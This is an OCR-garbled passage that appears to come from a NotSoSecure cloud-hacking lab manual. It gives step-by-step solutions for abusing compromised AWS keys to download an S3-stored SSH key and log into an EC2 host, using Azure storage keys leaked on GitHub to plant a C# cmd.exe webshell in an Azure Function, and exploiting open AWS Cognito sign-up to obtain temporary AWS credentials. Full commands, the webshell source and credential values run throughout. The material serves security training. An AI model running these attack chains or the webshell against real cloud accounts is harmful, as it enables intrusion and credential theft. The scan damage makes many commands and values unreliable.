root@kali:~/tools/# python3 aws_enum.py --access-key ASIA2EG3FEXXXXXXXXXX --
secret-key 9STIiddjS/D/XXXXsCMtbG7Yj1IMaUmXXXXXXXXX --session-token
Agolb3JpZ21uX2VFEGYaCXVzLWV... --region us-east-2 --command "aws s3 sync
s3://nss-lambda-demo lambda-demo-files"

e ~/tools
python3 aws_enum.py -—access-key AsIE:3v -secret-key oo ] ENGTGTNGNGNGEEEEEEEEE -
--session-token IQoJb3Jpz2lux2VjEor//////////WEaCXVzLWVhc3QtMiJHMEUCIQCYGWMxoXhFYdW7U6gwicBiBtxgnP5RDiwxgmRGOpK
u/

0D
g5
8Q
s 7f
TE1Z1A4SRFS2y2tFWnokfg2tzYvAcqRoKdAR1Xxmtng+wUgqws9gdcF7zBUZ7hNSKC+MXPVAY5XLVSVZ1YCOLNURCZQRY --region us-east-2 --c
ommand "aws s3 sync s3://nss-lambda-demo lambda-demo-files/
aws s3 sync s3://nss-lambda-demo lambda-demo-files
Completed 1.7 KiB/21.8 KiB (797 Bytes/s) with 2 file(s) remaining

download: s3://nss-lambda-demo/aws-ec2-solr.pem to lambda-demo-files/aws-ec2-solr.pem
Completed 1.7 KiB/21.8 KiB (797 Bytes/s) with 1 file(s) remaining
Completed 21.8 KiB/21.8 KiB (8.4 KiB/s) with 1 file(s) remaining

download: s3://nss-lambda-demo/alm-devops-continuous-planning-delivery-code-test-analytics.png to lambda-demo-fi
les/alm-devops-continuous-planning-delivery-code-test-analytics.png

Step 8: We don't know which server can be accessed using the “aws-ec2-solr.pem” file. Hence let

us list all the EC2 instances that are associated with the AWS keys compromised earlier.

root@kali:~/tools/# python3 aws_enum.py --access-key ASIA2EG3FEXXXXXXXXXX --
secret-key 9STIiddjS/D/XXXXsCMtbG7Yj1IMaUmXXXXXXXXX --session-token
Agolb3IpZ21uX2VjEGYaCXVzLWV... --region us-east-1 --command "aws ec2 describe-
instances"”

{u'Groups": c
u'Instances’:

54, tzinfo=tzutc()

ionSpecification®: {u'Capa

False},

u"Public e " 3-54 . compute-1.amazonaws.com',
u"Publi - 3
‘Attachment': {u'AttachTi e eti 2 , 54, 53, tzinfo=tz
tachmentId '

ription"
"i [Hu

‘Interfacelype’:
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As you may have seen , the output of the “ec2 describe instances” command is voluminous. Hence
we may need to save the output in a text file and then search for the keyname “aws-ec2-solr.pem”.

Upon doing the same it was found that the key file obtained belongs to the instance “i-
0c81d2e81dee1ebfc”

Step 9: From the instance details we can now find the EC2 public DNS which is “ec2-34-229-88-
54.compute-1.amazonaws.com”. Let us now connect to this public DNS using the previous obtained

key file to complete our task.

root@kali:~/tools/# chmod 400 aws-ec2-solr.pem

root@kali:~/tools/# ssh -i aws-ec2-solr.pem ec2-user@ec2-34-229-88-54.compute-
1.amazonaws.com

—(root -+ kali)-[~/tools/lambda-demo-files |

L# ssh -1 aws-ec2-solr.pem ec2-usergec2-34-229-88-54.compute-1.amazonaws.com
load pubkey “aws-ec2-solr.pem”: 1nvalid format
aaaaaajaaaaaaaaaoiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaoaaaaaalaoiala)

a WARNING: UNPROTECTED PRIVATE KEY FILE! a
aalajojalajaajajalalalalalaalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalaalalaalala)

Permissions 0644 for 'aws-ec2-solr.pem' are too open.

It is required that your private key files are NOT accessible by others.

This private kev will be ignored,

Load key "aws-ec2-solr.pem": bad permissions
ec2-usergec2-34-229-88-54.compute-1.amazonaws.com: Permission denied (publickey).

—(root -~ kali)-/~/tools/lambda-demo-files |
i chmod 400 aws-ec2-solr.pem

ﬁf root - kali)-[~/tools/lambda-demo-files

—# ssh -1 aws-ec2-solr.pem ec2-usergec2-34-229-88-54.compute-1.amazonaws.com
load pubkey “"aws-ec2-solr.pem”: invalid ftormat

Last login: Fri Jul 16 09:20:07 2021 from 1.186.220.207

Amazon Linux AMI

https://aws.amazon.com/amazon-linux-ami/2018.03-release-notes/
68 package(s) needed for security, out of 98 available
Run_"sudo vum update" to apply all updates,
[ec2-user@ip-172-31-26-109 ~1$ 1s

ascii asciil ascii2 ascii3 ascii4 wall
[ec2-usergip-172-31-26-109 ~]$
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Leaked Storage Account

Challenge URL: N/A

e Extract the source code and achieve Remote Code Execution for the function from the

storage account of “notsosporty” using the techniques learned in this module.
Solution:

Step 1: To access the exposed Azure AccountName and AccountKey use keywords specific to
Azure like DefaultEndpointsProtocol, AccountName, AccountKey etc. and the target name (i.e.
notsosecure-org) in GitHub search feature.

https://github.com/search?g=notsosporty

Some of the examples are as follows:

e https://github.com/search?g=notsosporty&type=Users

e https://github.com/search?g=notsosporty

e https://github.com/search?g=user%3Anotsosporty+AccountName&type=Code
e https://github.com/search?q=user%3Anotsosporty+AccountKey&type=Code

e https://github.com/search?q=user%3Anotsosporty+azure&type=Repositories
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Step 2: Access the exposed Azure AccountName and AccountKey found in previous step.

& GitHub, Inc. [US] github.com

Pull requests Issues Marketplace Explore

0 nOtSOSpOI‘ty / azurestorage @ Watch 0 * Star 0
<¥» Code Issues 0 Pull requests 0 Projects 0 Wiki Insights Settings
Tree: 50e0c52a32 v azurestorage / local.settings.json Find filef
notsosporty Update local.settings.json 58e0c5
1 contributor
17 lines (13 sloc) 714 Bytes Raw  Blame  History
{
"IsEncrypted"”: false,
"Values": {
"AzurelWebJobsStorage": "UseDevelopmentStorage=true",
"AzurellebJobsStorage”: "DefaultEndpointsProtocol=https;Accountlame=fnappvta®35;AccountkKey=HApIrSbCEBWCHQVnvcUXfrivbz Tuwlz]]
"AzurellebJobsStorage" : "DefaultEndpointsProtocol=https;AccountName=fnappvta®35;AccountKey=m62QQEXBiRTjRbb5rVMGFX/6ZB53el)
"AzureWeblobsDashboard”: "UseDevelopmentStorage=true"”,
"FUNCTIONS_EXTENSION_VERSION": "beta" |-#)
1
"Host": {
NCORS . MEm

Step 3: To validate the existence of file share for the acquired AccountName and Accountkey use

the below command on Azure CLI

root@kali:~/Desktop/test azure# adz storage share exists --account-name

fnappvta@35 --account-key
HApIrSbCEBWCWQVnvcUXfrNvbzIwwUzIZH31UkQeQI5uOqv7QGmGr{4L/aPYnSw2PqbHdAEjxsY16Bx

78mbyXQw== --name fnappvta@35

unft-Key HApITrSH

NvbZTwiwll2 TZHI 1L
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Step 4: Download the content present in the file share detected in previous step by using the

following command:

root@kali:~/Desktop/test azure# az storage file download-batch --account-name
fnappvta@®35 --account-key
HApIrSbCEBWCWQVnvcUXfrNvbzIwwUzIZH31UkQeQI5uOqv7QGmGrf4L/aPYnSw2PgbHAEjxsY16Bx

78mbyXQw== --destination . --source fnappvta@35 --no-progress

3% - -account-key HAPIrSbCEBWCWOV
source Tnappviadis --no

f113616ETI1.TxtL",

Step 5: On downloading the source code, it is observed that there are C# scripts in use, the same

can be confirmed by viewing the contents of the file (run.csx) as shown below:

root@kali:~/Desktop/test azure# cat site/wwwroot/HttpTriggerl/run.csx

~fDeaktﬂpftest:azure# cat site/wwwroot/HttpTriggerl/run.csx
#r "Newtonsoft.Json"

using System.Net;

using Microsoft.AspNetCore.Mvc;

using Microsoft.Extensions.Primitives;
using Newtonsoft.lson;

using System;

using System.IO;

using System.Diagnostics;

public static async Task<IActionResult> Run{HttpReguest reqg, ILogger log)

{

log.LogInformation("C# HTTP trigger function processed a request.");
string name = req.Query["name"];
string requestBody = await new StreamReader(req.Body).ReadToEndAsync();

dynamic data = JsonConvert.DeserializeObject(requestBody);
name = name 7? data?.name;
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Step 6: In order to achieve remote code execution on the target function, update the following

webshell code in “site/wwwroot/HttpTriggerl/run.csx” file

#r "Newtonsoft.Json"

using System.Net;

using Microsoft.AspNetCore.Mvc;

using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;

using System;

using System.IO;

using System.Diagnostics;

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{

log.LogInformation("C# HTTP trigger function processed a request.");
string cmd = req.Query["cmd"];

string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject(requestBody);
cmd = cmd ?? data?.cmd;

return cmd != null
? (ActionResult)new OkObjectResult(ExcuteCmd(cmd))

: new BadRequestObjectResult("Please pass a name on the query string
or in the request body");

}
public static string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
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Step 7: The updated “run.csx” file will contain webshell code as shown below:

root@kali:~/Desktop/test azure# cat site/wwwroot/HttpTriggerl/run.csx

root@cloud:~# cat site/wwwroot/HttpTriggerl/run.csx
#r "Newtonsoft.Json"

System.Net;
Microsoft.AspNetCore.Mvc;
Microsoft.Extensions.Primitives;
Newtonsoft.Json;

System;

System.IO;

System.Diagnostics;

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)

{
log.LogInformation("C# HTTP trigger function processed a request.");

string cmd = req.Query["cmd"];

string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject(requestBody);
cmd = cmd ?? data?.cmd;

return cmd != null
? (ActionResult)new OkObjectResult (ExcuteCmd(cmd))
: new BadRequestObjectResult("Please pass a name on the query string or in the request body");

Step 8: Copy the “HttpTrigger1” folder to “HttpTriggerX” (replace x with your userid)

root@kali:~/Desktop/test azure# cp -r site/wwwroot/HttpTriggerl
site/wwwroot/HttpTriggerX

te/wwwroot/HttpTriggerl site/wwwroot/HttpTrigger?
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Step 9: Now, we can upload all the files present in “/root/site/wwwroot/HttpTriggerX/“ on the local

system to Azure storage account.

root@kali:~/Desktop/test azure# az storage file upload-batch --account-key
HApIrSbCEBWCWQVnvcUXfrNvbzIwwUzIZH31UkQeQI5u0qv7QGmGrf4L/aPYnSw2PqbHAEjxsY16Bx
78mbyXQw== --account-name fnappvta@35 --destination fnappvta@35 --destination-
path site/wwwroot/HttpTriggerX/ --source
/root/{localpath}/site/wwwroot/HttpTriggerX/

rootEcloud: -# az storage file upload-batch --account-key HApIrSbCEBWCWOVRvcUXTriNvbzIwwllzIZHI1UKDe
0ISulgvyQGmGr 4L/ aPYnSw2PqbHAE j xsY16Bx T EmbyX = ..gccount- fnappvta --gdestination fnappvt
al3s --destination-path site/wwwroot/HttpTrigaer?/ --source /root/site/wwwroot/HitpTriggery/

Flnlchad | #rssrsrsrssrsre s arere s e rr s errsrsrerrres i i ada e dadadde] 100, 0000%

Fifnished iLlnn’nnn’nn’nn’n’nlnn'n'::rn':n:l':u'n'm':rnnl’n'n'.n'nn'nn'n’n'lnn’nnwnﬁplﬁtﬂﬁ:ﬂ####ﬂ###### ] 106.0000%

Finlshed [ ##adavdnaaaaaanannanannin AR A AR TATARRananrwRenenrwrensnd | 100.,0000%

.net/fnappvtal3s/site/ root/HEttpTrigger?/package. json®,
.net/fnappvtadisssite wroot /HttpTrigger?/function. json”

“https://Tnappvitab3s,. file.core.windows. net/ fTnappvtad3s/site/wwwroot /HEtpTriggery/run. csx”
]

Step 10: Now, the next step is to find out the Function APl URL.

We will first find the container name associated to the account using command mentioned below:

root@kali:~/Desktop/test azure# az storage container list --account-name
fnappvta@35 --account-key
HApIrSbCEBWCWQVnvcUXfrNvbzIwwUzIZH31UkQeQI5uO0qv7QGmGrf4L/aPYnSw2PqbHAEjxsY16Bx
78mbyXQw==

= Br tain List Account-nbse fnappvialis account-key HADIrSECERRCHOVAVCURT v 2 Tl 2 TIHE LUk Subae TG0 F'd
LS aPrnSwPgbHdE | =
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Step 11: Once we can access the container names, download the BLOB associated with this

container (azure-webjobs-secrets) using the command mentioned below:

root@kali:~/Desktop/test azure# az storage blob download-batch --account-name
fnappvta@®35 --account-key
HApIrSbCEBWCWQVnvcUXfrNvbzIwwUzIZH31UkQeQI5uOqv7QGmGrf4L/aPYnSw2PqbHAEjxsY16Bx

78mbyXQw== --destination . --source azure-webjobs-secrets

1~# az storage blob download-batch --account-name fnappvta@3s --account-key HApIrShCE
Cf rivbz Iwwlz IZH3 LUK QeQT5ulgqv7QemG rfaLl faPYnSw2PgbHAE j xsY 16Bx T 8mbyX0w== - -destination
==source azure-webjobs-secrets
Finished [##rfFdFsddfdds@sdsidafridifrfrididsfridtfrirfdaaassssssddsdasy] 100, 0000%
[

"frnappvt/httptriggerl. json”,
“fnapp host.json”,
"fnappvt/timertriggerl.json”

]

Step 12: By exploring the “fnappvt/host.json” file we can locate the function URL

root@kali:~/Desktop/test azure# cat fnappvt/host.json

root oud:-# cat fnappvt/host.)son
{
"masterKey*: {
"name": “"master”,
"value": "CTDISAAAAAAAAAAAAAAAAAAAAACDEBT9ad ItgATEEYYdZ)963u-AZMNChPcT76ePDV5GSs T 1r0QqraknMmFbu - JHavmWT zHncS
86WxbbQIZCmIHIG-ESNIQFWKVYLARN _KIaj3makKWUWIZFDC1Jcz2NKxMhATZhztehlmT1TLXShKqr93kcQNQq3aPEweidF6CCBBQ",
"encrypted”: true

“functionKeys": |
{
"name": “"default”,
"value”: "CTDJISAAAAAAAAAAAAAAAAAAAAABGQhWKUOWKLY8B7310hBILPPNHOKZDZr j yuhFPOal1XamDmATS9 jwyoPODWOBL _2mamwKX1Z0Q
SZcOQEVZ3EfZqeDotIpf-iWpc)i8Rx1YdfFe2CtMgQNNXMc ZnATKWTB7uPSIMTVKeVWWiH3badoVGX2AbbRpZBUWQSHB1JQt tDcewhrA”,
"encrypted”: true

nappvt.aszurewebsites, net”,
5t : "0b91d554c77a2ebcaedd8ed’a2f5e5dl”,
"source": “"runtime",
"decryptionKeyId": null
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Step 13: Access the webshell using the URL identified in the above step:

URL: https://fnappvt.azurewebsites.net/api/HttpTriggerX?cmd=dir

<

87/18/2019
07/18/2019
07/18/2019
87/18/2019
87/18/2019
87/18/2019
e7/18/2019
07/18/2019
07/18/2019
07/18/2019
87/18/2019
07/18/2019
07/18/2019
e7/18/2e19
87/18/2019
07/18/2019
07/18/2019
07/18/2019
e7/18/2e19

c

10:
10:
10:
10:
10:
10:
10:
10:
10:
10:
10:
10:
1e:
10:
1e:
106:
10:
10:
1e:

& https

16
1s
16
1s
16
16
1s
16
16
16
1s
16
16
16
16
16
16
1s
16

AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM
AM

fnappvt.azurewebsites.net

Volume in drive D is Windows
Volume Serial Number is C256-FAD9

<DIR>
<DIR>

247

1e5
465,920
794,624
49,960
659,240
4,033,008
3,034,608
188,928
416,256
186,880
93,696
132,6e8
669,696
3,965,440
110,080
50,176

Directory of D:\Program Files (x86)\SiteExtensions\Functions\2.0.12562\32bit

appsettings.Development.json
appsettings.json

Autofac.dll
Google.Protobuf.dll
Grpc.Core.
Grpc.Core.
grpc_csharp_ext.x64.dll

grpc_csharp_ext.x86.d11

.AI.DependencyCollector.dll
.AI.PerfCounterCollector.dll
.AI.ServerTelemetryChannel.dll
.AI.WindowsServer.dll
.ApplicationInsights.AspNetCore.dll
.ApplicationInsights.dll
.ApplicationInsights.SnapshotCollector.dll
.AspNetCore.Mvc.WebApiCompatShim.d1ll
.Azure. AppService.Proxy.Client.dll

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Api.d1l
d1l
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Exploiting AWS Cognito

Misconfigurations

Challenge URL: http://cognito.webhacklab.com/

e Identify AWS cognito misconfiguration and read the secrets from the secret manager.
Solution:

Step 1: Access the application hosted at http://cognito.webhacklab.com . It can be observed that the

application does not allow registration to the public.

@ http://cognito.webhacklab.com/

Members Log in

Username

Enter Username
Password

Enter Password

w NotSoSecure part of Page: | 27
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Step 2: On accessing the HTML source, observe that there is a file named ‘config.js’. Access the file

and view the content.

C N @ view-source:http://cognito.webhacklab.com/

<html lang="en">
<head>
<meta charset="utf-8">

<!-- Javascript SDKs-->
<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script src="js/amazon-cognito-auth.min.js"></script>
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.7.16.min.js"»</script>
{script src="js/amazon-cognito-identity.min.js"></script>
| <script src="js/config.js"></script>

<{Iink rel="stylesheet type= text/css" href="css/site.css"™ />

< /head>

<body>
<center>

<form>

<div class="container":>
<h2>Members Log in</h2>
<label for="username"><b>*Username</b></label>
<input type="text" placeholder="Enter Username" id="username" name="username" required>

<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" id="password" required>

<button type="button" onclick="signIn()">»Sign in</button>

Sddas

Step 3: On accessing the file, a config file related to AWS Cognito containing ‘userPoolld’,
‘identityPoolld’ and ‘clientld’ can be found. This information helps us understand that the application

uses AWS Cognito JavaScript SDK to authenticate users.

C 0 @ htip://cognito.webhacklab.com/js/config.js

window._config = {
cognito: {
userPoolld: 'us-east-1_ R
region: 'us-east-1',
clientId: "mBcalfeafuico® k',
identityPoollId: 'us-east-1:d7f1988a-2218- !

Ts
h
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Step 4: Now try to sign up to the application using the given configuration. Use the below command

to signup and create an account.

root@kali:~# aws cognito-idp sign-up --client-id m8calfea9uico5qml43na3fp --
username userX@webhacklab.com --password P@sswOrdl --user-attributes

Name="email",Value="userX@mailinator.com” Name="name",Value="UserX"

# aws coghito-idp sign-up --client-id mB8calfea --username userx@webha
cklab.com --password P@sswOrdl --user-attributes Name="email",Value="userX@mailinator.c
om" Name="name",Value="UserX"

{

"UserConfirmed": false,
"CodeDeliveryDetails": {

"Destination":
"DeliveryMedium": "EMAIL",
"AttributeName": "email"

I
"UserSub": "0aea9b51-39f5-4bdc-a9ac-08d64f3d69de™

Step 5: Once the account is created a verification code is sent on the email. Use this code to

activate the user.

public inbox: userx mailinator.com
Subject: Your verification code
Tor userx
From: no-reply@verificationemail.com

Received:  Thu Jul 02 2020 17:09:02 GMT+0530 (India Standard Time)
Sending IP: 54.240.27.196

Parts: m

Attachments: [Subscribe to receive Attachments]

Your confirmation code is|786193
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Step 6: Use the above code along with the client-id and username to verify the user using the

following command.

Note: Once the command executes successfully there will be no output.

root@kali:~# aws cognito-idp confirm-sign-up --client-id
m8calfea9uico5qml43na3fp --username=userX@webhacklab.com --confirmation-code

XXXXXX

# aws cognito-idp confirm-sign-up --client-id m8calfea . . --username=userxaw

bhacklab.com --confirmation-code 786193

Step 7: Login to the application with the newly activated credentials.

http://cognito.webhacklab.com

Members Log in

Username
userX@webhacklab.com

Password
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Step 8: The user is successfully logged in but does not have any authorization over the application

as shown in the figure below.

&« G @ O\ http://cognito.webhacklab.com/restrictions.html

Application restrictions

'You're currently signed in as|user)(@webhacklab.com. You don't have access to this application. Please contact your administrator to get access.

Click to Sign out

Step 9: Once the above user is authenticated successfully the application generates ‘accessToken,
‘idToken’ and ‘refreshToken’ and these are stored in the browser’s local storage. To access these

values go to the browser inspector feature of the above page (step 8) and check the storage cache.

Y Filter ltems

userX@webhacklab.com
eylraWiCikanRgROFZVKFMSX WUV mejNQZHFINOZPa1pNSm 1kZWhHUEL SO0

CognitoldentityServiceProvider.m&caifeaSuico5gmi43na3fp. LastAuthUser

CognitoldentityServiceProvider.m&calfeauicoSgmld3na3fp.user{@webhacklab.com.accessToken
1
eylraWQioinMkQybPuwvlUzE2RDAEYXp PSzIVSzOyQzZVY 3V FQS3VEVXFmWiwyz
eyljdHkiCUKICILCHbmMICUBMjUZRONNIwiYWxnljoiUINELUSBRVAIFD.ZIpvXH

CognitoldentityServiceProvider.m&calfeaduicoSgmld3na3fp.userX@webhacklab.com.clockDrift

CognitoldentityServiceProvider.m&calfeaduicoSgmld3na3fp.userX@webhacklab.com.idToken

CognitoldentityServiceProvider.m&calfeaduicoSgmld3na3fp.user@webhacklab.com.refreshToken

Step 10: Alternatively, you can also go to Burp and check the response of the login action. It

contains ‘accessToken, ‘idToken’ and ‘refreshToken’.

Fiter: Hiding CSS, image and general binary content
# V| Host | Method | URL | Params | Edted | Status | Length | MIMEtype | Extension | Title | Comment |ns [P | Cook}
T7S e : DSfe-us-... GE gn0-auth. min.js.map e 623 ATRC map SZZTE TS0
5174 hitp:/mycognito.s3-website-us-...  GET /js/amazon-cognito-identity. min js. map 200 571722 JSON map 52.216.10.90
p p.us-e 0 0
BN J

Request | Response [
Raw | Headers | Hex | 150n | JSON Web Tokens | /
4

1 HTTP/1.1 200 OK
2 Date: Thu, 02 Jul 2020 12:1€&:44 GMT
Z Content-Type: application/x-amz-json-l.l
4 Content-Length: 3824
S Connection: close
€ x-amzn-RequestId: €44dblfb-e7b3-4881-Bab5-effDaZ94f14b
7 Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-amzn-RecquestId,x-amzn-ErrorType,x-amzn-ErrorMessage, Date

10 | {

"AuthenticationResult": {
"AccessToken": "eyTraWQiOiIxanRROF zVKFMS XTWUOVme J NOZHF TNOZP a 1 pNSm1kZWhHUEE SOX1cL2 JQSTOALCThbGe101TSUZ 1 1NATY . ey zdWI 101 TWYWVhOWI IMSOZOWY ILTRiZGMEY TLhY yOw

"ExpiresIn”:3€00,
"eyJraWQiOiTnMkQybFwvUzEZRDAEYXpPSz1VSzQyQzZVY3TIVIFQS3VEVXFmWlwva094ZkES T iwiYWxnIjoiUIMyNTYifQ. eyTzdWIi0i IWYWVhOWT IMS0 zOWY LT TRiZGME YT LhY yOwOG!

"IdToken":
RefreshToken™: "eyJ7dAKI0O10RV IOILCT IBmMI010BM] U2 RONNI TwitWxn 170 10 INELUIBRVALEQ. F 7t TOnISKRURIIST2qt [ZoREGUTIA3 [CALERyUSVDoNA_cTRMAB S ESCMIBLqBOPFaE TBD uS

"TokenType":"Bearer"

b
"ChallengeParameters”:

}
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Step 11: Capture the IdentityPoolName.

&« C @ © & =0 cognito.webhacklab.com/restrictions.html - U W moe =z ¥

® NotSosecure @ Shop Webhacklab |- Topup Webhacklab & Microblog @ HealthCheck |- Admin Webhacklab |- Utility »

Application restrictions

You're currently signed in as user84@webhacklab.com. You don't have access to this application. Please contact your administrator
tn net access

® 3 inspector Console [© Debugger PN Network {3} Style Editor () Performance ) 0] e+ X

» B cache Storage Y Filter Items +

v 8 Cookies Value
@http:l/cognito.webhacklab,com CognitoldentitySengd ider.m8calfea9uicoSqml43na3fp.LastAuthUser user84@webhac...

- 8 Indexed DB Cogpi yServiceProvider.m8calfea9uico5qml43na3fp.user84 @webhacklab.com.accessT... eyJraWQiQilxan...

ognitoldentityServiceProvider.m8calfea9uico5qml43na3fp.user84@webhacklab.com.clockDr.. -11
CognitoldentityServiceProvider.m8calfea9uicoSqm143na3fp.user84@webhacklab.com.idTokenI IeeraWQiOiJan...l
eyJjdHkiOiJKV1Q...

@ http://cognito.wel

g@PonitoldentityServiceProvider.m8calfea9uico5gml43na3fp.user84@webhacklab.com

@ http://cognito.webhacklab.com

» |E] Session Storage

eyJralWQi0iJnMkQybFwvUzE2RDAEYXpPSz1VSzQ

yQzZVY3JIV1FQS3VtVXFmlwvaB94ZKEITiwiYW {

xnIjoiUIMyNTYifQ. ey zdWIi0iT5ZTk50WI5Y1 T T TE———

110DKSLTRNMItODJ1YS11Yz11ZTESMWYTNGUAL "alg": "RS256"

CJhdWQi0iJtOGNAMWZ1YT11aWNVNXF thDQzbmEZ ¥

ZnAiLCJ1bWFpbF92ZXJpZm11ZCI6dHJ1ZSWiZXZ =

1bnRfalQi0i I2NGEWZmUyZCOXOTdKLTQSNMI tOW

RKOC130DQ2YZzgx0TM2NzQiLCJBb2t1b191c2Ui0 \

1JpZCIsImF1dGhfdG1tZSI6MTYyNZIBNjUXNCwi T e S e

aXNzIjoiaHROcHM6XCOcL2NvZ25pdG8taWRwLnV vemail_verified": true, ‘

ZLWVhc3QtMS5hbWF6b25hd3MuY29tXC9Tcy 11X bosiagadhillsoo e e
en_us: H 1 N

NBLTFfRU9uOGBzdWxhIiwibmFtZSI6I1VzZXI4N
CIsImNvZ25pdG86dXN1cm5ShbWUi0iJ1c2VyODRA
d2ViaGF Ja2xhY151b201LCILeHAIOFEZMICyNTA | TP Lissest T Eonteiulo ]
xMTQsImlthIGMTYyNzIBN]UxNCwiZW1haWini "cognito:username": u&rmkwcmcdabmmﬂ
J1c2VyODRAbWFpbGluYXRvci5jbh20ifQ.dQEsta :“?ﬁ : 9
UTpNT_INMNBkahXVphHnp8Df8dhmd6uSHGNXroE s e oo
Pp_0860wpK_86SKpQGbb_mrKNIaxJt5DPb1ZmBy7 ¢
ZnZuFKVE2TT2DaENmaen_MxNzwK8h3Wtq4qkdOb

FpwnaIvWzXT_qSSKRma96ate7v99Yf9j_gXgPR1

7246514,

nito-idp.us-east-1.amazonaws.com

"auth_time": 1

"http

VERIFY SIGNATURE

CgHbYSWB7Eqn@m2tX1kYqe- RSASHA256 (
I1dnSEE_GUxZBL5ppAacnB7WCGC2ktIJjuZdpzm base64UrlEncode (header) + ~." +
3_ADBgdiVvVbXA62e_w-- base64UrlEncode(payload

q_6EjiAFQ2QVHqb6kkXDT44azdBoGb7ucH7gXXRD —~~:%Gm mauf
xvBJestZpkTaJUXoARN3NAWT s xvQ7JhMSC1BBKK S -
FinXtph20-DZ7n0wMlw

QBAMIIBCgKCAQEAr+24Z0
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Step 12: Generate an authenticated Cognito identity id using the ‘IdToken’, ‘IdentityPoolid’ and

‘IdentityPoolName’ as shown below:

root@kali:~# aws cognito-identity get-id --identity-pool-id us-east-
1:d7f1908a-a2f8-4c6e-b6b1-9060d9830fb3 --logins cognito-idp.us-east-

1.amazonaws.com/us-east-1_EOn8m3ula=<IdToken>

# aws cognito-identity get-id --identity-pool-id us-east-1:d771908a-a2f8-4c6e-b6hl-9060d9
830fh3 --logins cognito-idp.us-east-1l.amazonaws.com/us-east-1 EOn8m3ula=eyJraWQiOiJnMkQybFw
vUzE2RDAEYXpPSz1VSzQyQzZVY3JIVIFQS3VEVXFmWlwva094ZKE9TIiwiYWxnIjoiUIMyNTYifQ.eyJzdWIi0iTIwYWV
hOWI1MSOzOWY1LTRiZGMtYT1hYyOwOGQ2NGYzZDY5ZGUiLCIhdWQi01iJtOGNhMWZ1YT11lawWNvNXFtbDQzbmEzZnAiLC
JLbWFpbF92ZXJpZml1ZCI6dHI1ZSwiZXZ1bnRfaWQi0iJTMmRhODJ jYSOINGVKLTQ3NjMt0TM2YyBzNGYwOWU3MTBmY
TMiLCJOb2t1b191c2Ui0iJpZCIsImF1ldGhTdGLtZSIGMTUSMZzY50DUSNSwiaXNzIjoiaHROCHM6XC9cL2NvZ25pdGat
aWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1TYXNOLTFFRUQUOGOZdWxhIiwibmFtZSI6I1VzZXIYIiwiY29
nbmlBbzplc2VybmFtZSI6INVzZXIYQHALYmhhY2tsYWIuY29tIiwiZXhwIjoxNTkzNzAyMTK1LCIpYXQi0jELIOTM20T
gl0TUSImVEYWLSIjoidXNLclhAbWFpbGLUYXRvci5jb20ifQ.10X150c7¢c2Y1cybYpy0yjfzAVTmxPYMEthUmP_LTz0
HVc2gyTpYiAcgwdvvIVajlWz_eoFCTNRED7 rqRVSo90-3Pc03pp7D29s00Z04028X7MchcX7XAH_1aSZICKoy65SXCQh
GQWEUVKX99tvG_b1YQp51leIgvgzybKXt7Ui30YEQv11HIpQOb35-V_0aa-jR2592XpR6YWgitqVaYpHy40WSKEIOCKI
BbN-7RDjRbNfDkjw271wlUYn9NZdwrZOR-ty-t1-QjVxVI0IrcdLAUMgkohkt7teuHdijv81nR7xmntkiKR5uRr1WV K
XRZ961jt-5HDTC3uhbEtWNSF9xQ

{
}

"IdentityId": "us-east-1:85948747-1237-479a-a%e8-ab021747cae5"

Step 13: Use the ‘Identityld’ obtained from the above step to create temporary AWS credentials

using the ‘IdToken’, ‘IdentityPoolid’ and ‘IdentityPoolName’ as shown below:

root@kali:~# aws cognito-identity get-credentials-for-identity --identity-id
us-east-1:85948f47-1237-479a-a%9e8-ab021747cae5 --logins cognito-idp.us-east-

1.amazonaws.com/us-east-1_EOn8m3ula=<Id Token>

# aws cognito-identity get-credentials-for-identity --identity-id us-east-1:85948f47-1237-479a-a9e8-ab021747cae5 --logins
cognito-idp.us-east-1.amazonaws.com/us-east-1_EOn8m3ula=eyJlraWQi0iJnMkQybFwvUzE2RDAEYXpPSz1VSzQyQzZVY3JIIV1FQS3VtVXFmWlwvao

TKXRZ961jt-5HDTC3UhbETWNSFIxQ

"IdentityId": "us-east-1:85948f47-1237-479a-a%e8-ab021747cae5",
"Credentials": {

'AccessKeyId": "ASIA2EG3F6XX60YC36H5",

"SecretKey": "g0DGfJ7nr+7JQkor/s2/CT8yhh/QKTKRLGL1gVax",

"SessionToken": "IQoJb3JpZ2WUX2VIEMT//////////WEaCXVZLWVhc3QtMSIIMEYCIQCz14YmzpEXYDUunwIWgh5ZK3ieUe+V70Gw21FjUlacNWQ
ThAOSWTDalSX46/n95G/W50D7GECAdelxRKr5shWLhcCB4KvADCGAQAROMN]k2MjQOMzY40Dc5IgzrSI5ilIflZq+4th4q2w08MegX+ESD5D2UUgmY1Ig8ix1aj
AcK77KJIrXUBBWSFBk1AOA+aNw3xY1i/0RB+6YJIgJw+Ppwwgx0oiNj1Vz7dmtCRMUESUZi91Ev+KVSPxJGtWk4gFDVTfr159TTaGImbN3Xnk8xWLB4afVCDbfKsgq

o4 2B Lo DEALL D o 1My o220 KE ALl L £ o A RRAID4 ndgo "dal)] o BRALIFA D d i QvpDQ

d M 2 1
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Step 14: Configure the AWS Command Line Interface(CLI) to interact with the AWS services using

the details obtained above in the command as shown below:

root@kali:~# export AWS_ACCESS_KEY_ID=XXXXXXXXX
root@kali:~# export AWS_SECRET_ACCESS_KEY=XXXXXXXXX
